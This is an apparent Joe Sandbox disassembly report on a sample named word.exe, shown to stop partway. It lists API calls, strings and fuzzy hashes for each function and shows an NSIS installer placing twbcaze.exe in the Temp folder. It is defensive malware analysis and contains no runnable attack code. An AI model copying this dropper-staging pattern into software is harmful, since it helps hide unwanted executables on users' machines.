Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a16ca79695306fc73f85128c7aced9bd30f9fee4c2e10d2154f2b02c59f7427
Instruction ID: bc715f9ab80968e75e2fbed037c5f1c5951903de2449374fee89636cff417fa3
Opcode Fuzzy Hash: 1a16ca79695306fc73f85128c7aced9bd30f9fee4c2e10d2154f2b02c59f7427
Instruction Fuzzy Hash: 52F18571D00229CBCF28DFA8C8946ADBBB1FF45305F25816ED856BB281D3785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405E93 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(?,00422588,C:\,004057AF,C:\,C:\,00000000,C:\,C:\,?,?,?,004054D1,?,C:\Users\user\AppData\Local\Temp\,?), ref: 00405E9E
FindClose.KERNEL32(00000000), ref: 00405EAA

Strings

C:\, xrefs: 00405E93

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\
API String ID: 2295610775-3404278061
Opcode ID: 8f5741f541142194311058383cb09f480250e6c9d027ffd32cd20bf8f0009166
Instruction ID: 22d16aeb20e1d117df59da4f29a20059377f8c00669f4036672bdba2b414caf9
Opcode Fuzzy Hash: 8f5741f541142194311058383cb09f480250e6c9d027ffd32cd20bf8f0009166
Instruction Fuzzy Hash: 95D0123190D520ABD7015738BD0C84B7A59DB553323508F32B465F53E0C7788D928AEA

Uniqueness

Uniqueness Score: -1.00%

Function 00403981 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004039BD
ShowWindow.USER32(?), ref: 004039DA
DestroyWindow.USER32 ref: 004039EE
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403A0A
GetDlgItem.USER32(?,?), ref: 00403A2B
SendMessageA.USER32 ref: 00403A3F
IsWindowEnabled.USER32(00000000), ref: 00403A46
GetDlgItem.USER32(?,00000001), ref: 00403AF4
GetDlgItem.USER32(?,00000002), ref: 00403AFE
SetClassLongA.USER32(?,000000F2,?), ref: 00403B18
SendMessageA.USER32 ref: 00403B69
GetDlgItem.USER32(?,00000003), ref: 00403C0F
ShowWindow.USER32(00000000,?), ref: 00403C30
EnableWindow.USER32(?,?), ref: 00403C42
EnableWindow.USER32(?,?), ref: 00403C5D
GetSystemMenu.USER32 ref: 00403C73
EnableMenuItem.USER32 ref: 00403C7A
SendMessageA.USER32 ref: 00403C92
SendMessageA.USER32 ref: 00403CA5
lstrlenA.KERNEL32(00420538,?,00420538,nrdosueajqjitn Setup), ref: 00403CCE
SetWindowTextA.USER32(?,00420538), ref: 00403CDD
ShowWindow.USER32(?,0000000A), ref: 00403E11

Strings

nrdosueajqjitn Setup, xrefs: 00403CBF

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: nrdosueajqjitn Setup
API String ID: 184305955-1765078079
Opcode ID: de2fcf6cdcd3bcc1c8429ee21d0de177b3c1a35057383903eb5d37bb8d4e0bda
Instruction ID: 5fd13e9e65c650ae90d185cc2d11acb2e8fe01e0af56b63b73109b0399f4b85d
Opcode Fuzzy Hash: de2fcf6cdcd3bcc1c8429ee21d0de177b3c1a35057383903eb5d37bb8d4e0bda
Instruction Fuzzy Hash: EFC1CF71A04201BBDB20AF61ED85D2B7EBCEB4470AB40453EF541B51E1C73DAA429F5E

Uniqueness

Uniqueness Score: -1.00%

Function 004035EB Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405F28: GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
Part of subcall function 00405F28: GetProcAddress.KERNEL32(00000000,?,?,?,00403165,0000000D), ref: 00405F55

lstrcatA.KERNEL32(1033,00420538,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420538,00000000,00000003,C:\Users\user\AppData\Local\Temp\,?,C:\Users\user\AppData\Roaming\word.exe,00000000), ref: 0040365C
lstrlenA.KERNEL32("C:\Users\user\AppData\Local\Temp\twbcaze.exe" ,?,?,?,"C:\Users\user\AppData\Local\Temp\twbcaze.exe" ,00000000,C:\Users\user\AppData\Local\Temp,1033,00420538,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420538,00000000,00000003,C:\Users\user\AppData\Local\Temp\), ref: 004036D1
lstrcmpiA.KERNEL32(?,.exe,"C:\Users\user\AppData\Local\Temp\twbcaze.exe" ,?,?,?,"C:\Users\user\AppData\Local\Temp\twbcaze.exe" ,00000000,C:\Users\user\AppData\Local\Temp,1033,00420538,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420538,00000000), ref: 004036E4
GetFileAttributesA.KERNEL32("C:\Users\user\AppData\Local\Temp\twbcaze.exe" ), ref: 004036EF
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp), ref: 00403738

Part of subcall function 00405AF6: wsprintfA.USER32 ref: 00405B03

RegisterClassA.USER32 ref: 0040377F
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 00403797
CreateWindowExA.USER32 ref: 004037D0
ShowWindow.USER32(00000005,00000000), ref: 00403806
GetClassInfoA.USER32(00000000,RichEdit20A,004236E0), ref: 00403832
GetClassInfoA.USER32(00000000,RichEdit,004236E0), ref: 0040383F
RegisterClassA.USER32(004236E0), ref: 00403848
DialogBoxParamA.USER32 ref: 00403867

Strings

"C:\Users\user\AppData\Local\Temp\twbcaze.exe" , xrefs: 0040369F, 004036A7, 004036B4, 004036FE, 00403704
C:\Users\user\AppData\Local\Temp, xrefs: 0040366B, 00403673, 0040370B, 00403711, 00403721
C:\Users\user\AppData\Local\Temp\, xrefs: 004035F7
.DEFAULT\Control Panel\International, xrefs: 00403647
C:\Users\user\AppData\Roaming\word.exe, xrefs: 004035EF
6B, xrefs: 00403747
RichEd32, xrefs: 0040381A
RichEd20, xrefs: 0040380C
1033, xrefs: 0040360B, 00403657
.exe, xrefs: 004036DE
Control Panel\Desktop\ResourceLocale, xrefs: 0040361F
_Nb, xrefs: 0040378E, 00403793
RichEdit20A, xrefs: 0040382A, 00403830
RichEdit, xrefs: 00403839

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Temp\twbcaze.exe" $.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\word.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb$6B
API String ID: 1975747703-2232938697
Opcode ID: 6d9bdf85a822e0f9bb9c4e2fcc7d2e939be480c33988b3e2c2e3dba5f36146f3
Instruction ID: 6624008b3449f808402c67b3262d240ca0850aee1e0dcbc9c28568ef27b6b269
Opcode Fuzzy Hash: 6d9bdf85a822e0f9bb9c4e2fcc7d2e939be480c33988b3e2c2e3dba5f36146f3
Instruction Fuzzy Hash: 6A61E9B17002047EE620AF619D45E3B7ABCEB4474AF40457FF941B22E2D77D9E428A2D

Uniqueness

Uniqueness Score: -1.00%

Function 00402C55 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32(C:\Users\user\AppData\Local\Temp\,?,00000000), ref: 00402C66
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\word.exe,00000400), ref: 00402C82

Part of subcall function 0040586F: GetFileAttributesA.KERNELBASE(00000003,00402C95,C:\Users\user\AppData\Roaming\word.exe,80000000,00000003), ref: 00405873
Part of subcall function 0040586F: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405895

GetFileSize.KERNEL32(00000000,00000000,0042C000,00000000,C:\Users\user\AppData\Roaming,C:\Users\user\AppData\Roaming,C:\Users\user\AppData\Roaming\word.exe,C:\Users\user\AppData\Roaming\word.exe,80000000,00000003), ref: 00402CCE

Strings

Null, xrefs: 00402D4C
Inst, xrefs: 00402D3A
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E2D
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C5F
C:\Users\user\AppData\Roaming, xrefs: 00402CB0, 00402CB5, 00402CBB
pA, xrefs: 00402CE3
C:\Users\user\AppData\Roaming\word.exe, xrefs: 00402C55
C:\Users\user\AppData\Roaming\word.exe, xrefs: 00402C6C, 00402C7B, 00402C8F, 00402CAF
Error launching installer, xrefs: 00402CA5
soft, xrefs: 00402D43

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming$C:\Users\user\AppData\Roaming\word.exe$C:\Users\user\AppData\Roaming\word.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft$pA
API String ID: 4283519449-2207440701
Opcode ID: d74ddf077dad9ccce0d63da47009af9ced08a9d3a58e0b3746407ee1fc4199ad
Instruction ID: 62828f2e2b01cd2e9021f71d1007b468b6294b04ed91f3cf43b909f99e7c5814
Opcode Fuzzy Hash: d74ddf077dad9ccce0d63da47009af9ced08a9d3a58e0b3746407ee1fc4199ad
Instruction Fuzzy Hash: C151E371E00214ABDB209F64DE89B9E7BB4EF04355F20403BF904B62D1C7BC9E458A9D

Uniqueness

Uniqueness Score: -1.00%

Function 00402E8E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32(000000FF,00000004,00000000,00000000,00000000), ref: 00402EEC
GetTickCount.KERNEL32(0040B0E0,00004000), ref: 00402F6D
MulDiv.KERNEL32 ref: 00402F9A
wsprintfA.USER32 ref: 00402FAA
WriteFile.KERNELBASE(00000000,00000000,0040F0E0,00000000,00000000), ref: 00402FD6

Strings

... %d%%, xrefs: 00402FA4

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: b944acebcfd11712949cb6564d56ed346294539165133d47b9c6a5aca850bb39
Instruction ID: 896dd5a5e80e39cb813739a9bcc38eeef40bacba50e05a76af68061f47ce39f0
Opcode Fuzzy Hash: b944acebcfd11712949cb6564d56ed346294539165133d47b9c6a5aca850bb39
Instruction Fuzzy Hash: 13518A3190120AABDF10DF65DA04AAF7BB8EB00395F14413BFD11B62C4D7789E41CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00401751 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,"C:\Users\user\AppData\Local\Temp\twbcaze.exe" ,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 00401790
CompareFileTime.KERNEL32(-00000014,?,"C:\Users\user\AppData\Local\Temp\twbcaze.exe" ,"C:\Users\user\AppData\Local\Temp\twbcaze.exe" ,00000000,00000000,"C:\Users\user\AppData\Local\Temp\twbcaze.exe" ,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 004017BA

Part of subcall function 00405B98: lstrcpynA.KERNEL32(?,?,00000400,004031A9,nrdosueajqjitn Setup,NSIS Error), ref: 00405BA5

Part of subcall function 00404E84: lstrlenA.KERNEL32(0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000,?), ref: 00404EBD
Part of subcall function 00404E84: lstrlenA.KERNEL32(00402FBE,0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000), ref: 00404ECD
Part of subcall function 00404E84: lstrcatA.KERNEL32(0041FD10,00402FBE,00402FBE,0041FD10,00000000,0040F0E0,00000000), ref: 00404EE0
Part of subcall function 00404E84: SetWindowTextA.USER32(0041FD10,0041FD10), ref: 00404EF2
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F18
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F32
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F40

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 0040177E
"C:\Users\user\AppData\Local\Temp\twbcaze.exe" , xrefs: 0040176D, 00401776, 00401783, 004017A6, 004017DC, 004017F2, 00401810, 00401850, 004018D1, 004018DA, 004018E4, 004018EF

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "C:\Users\user\AppData\Local\Temp\twbcaze.exe" $C:\Users\user\AppData\Local\Temp
API String ID: 1941528284-3433136141
Opcode ID: 1d83eeb157989370eef6aca95033163bd7760edd2b6c2f47f904ee0373184e1d
Instruction ID: ec6d4e4deed358595fa2340d5a7c786697911580d52a45c2a3a5a43c8a45cd53
Opcode Fuzzy Hash: 1d83eeb157989370eef6aca95033163bd7760edd2b6c2f47f904ee0373184e1d
Instruction Fuzzy Hash: 1C41E531900515BADF107FB5CC45EAF3679EF02329B60863BF425F10E2D67C9A418A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405346 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,?,00000000), ref: 00405389
GetLastError.KERNEL32 ref: 0040539D
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 004053B2
GetLastError.KERNEL32 ref: 004053BC

Strings

Ls@, xrefs: 0040537B
C:\Users\user\AppData\Roaming, xrefs: 00405346
\s@, xrefs: 0040534C

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Roaming$Ls@$\s@
API String ID: 3449924974-4232301360
Opcode ID: 6211b517ce48024f91031cad3a720f7e2baa8210faa46a43940225e11b136f78
Instruction ID: c25a7037d2469be4335b8e9940eeaad57ca25a66f44a15dc7ff8fd6819e2376f
Opcode Fuzzy Hash: 6211b517ce48024f91031cad3a720f7e2baa8210faa46a43940225e11b136f78
Instruction Fuzzy Hash: 030108B1D14219EAEF119FA4CC047EFBFB8EB14354F004176D904B6280D7B8A604DFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00405EBA Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405ED1
wsprintfA.USER32 ref: 00405F0A
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00405F1E

Strings

UXTHEME, xrefs: 00405EC3
\, xrefs: 00405EE2
%s%s.dll, xrefs: 00405F04

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: 95ac327f182d4f2ec24d2199b65981d3e05ead90002209c0018270c035d5f6e2
Instruction ID: e0394f74180a6a16eba84a37178681bb1de021cb3750537530e5e19d16d25b78
Opcode Fuzzy Hash: 95ac327f182d4f2ec24d2199b65981d3e05ead90002209c0018270c035d5f6e2
Instruction Fuzzy Hash: AFF09C3094050967DB159B68DD0DFFB365CF708305F1405B7B586E11C2DA74E9158FD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040589E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Roaming\word.exe,004030F9,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 004058B1
GetTempFileNameA.KERNEL32(?,0061736E,00000000,?), ref: 004058CB

Strings

nsa, xrefs: 004058AA
C:\Users\user\AppData\Local\Temp\, xrefs: 004058A1, 004058A5
C:\Users\user\AppData\Roaming\word.exe, xrefs: 0040589E

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\word.exe$nsa
API String ID: 1716503409-3536471476
Opcode ID: 0450f55a1c395314d18141c5bfd7e62b2554956accf044952057d9506f78994b
Instruction ID: e60e9e2f6482c2c4b9a71223117799e22c549444224f45eff9547ee1bfe60b0e
Opcode Fuzzy Hash: 0450f55a1c395314d18141c5bfd7e62b2554956accf044952057d9506f78994b
Instruction Fuzzy Hash: 46F0A7373482447AE7105E55DC04B9B7F9DDFD1750F10C027FE049A280D6B49954C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040571F: CharNextA.USER32(004054D1), ref: 0040572D
Part of subcall function 0040571F: CharNextA.USER32(00000000), ref: 00405732
Part of subcall function 0040571F: CharNextA.USER32(00000000), ref: 00405741

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 00401605

Part of subcall function 00405346: CreateDirectoryA.KERNELBASE(?,?,00000000), ref: 00405389

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp,00000000,00000000,000000F0), ref: 00401634

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401629

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 1892508949-2935972921
Opcode ID: 2bf56f72201c9e699422734a4e548a5e4c3f3c6807ff828ac4a79b9dc522e826
Instruction ID: 7e794a0d764ef42534189bc4677109bd04a63590121f3ac1906b169044d7ab5d
Opcode Fuzzy Hash: 2bf56f72201c9e699422734a4e548a5e4c3f3c6807ff828ac4a79b9dc522e826
Instruction Fuzzy Hash: 67112B35504141ABEF317BA55D419BF26B0EE92314728063FF582722D2C63C0943A62F

Uniqueness

Uniqueness Score: -1.00%

Function 0040576C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405B98: lstrcpynA.KERNEL32(?,?,00000400,004031A9,nrdosueajqjitn Setup,NSIS Error), ref: 00405BA5

Part of subcall function 0040571F: CharNextA.USER32(004054D1), ref: 0040572D
Part of subcall function 0040571F: CharNextA.USER32(00000000), ref: 00405732
Part of subcall function 0040571F: CharNextA.USER32(00000000), ref: 00405741

lstrlenA.KERNEL32(C:\,00000000,C:\,C:\,?,?,?,004054D1,?,C:\Users\user\AppData\Local\Temp\,?), ref: 004057BF
GetFileAttributesA.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,?,?,?,004054D1,?,C:\Users\user\AppData\Local\Temp\,?), ref: 004057CF

Strings

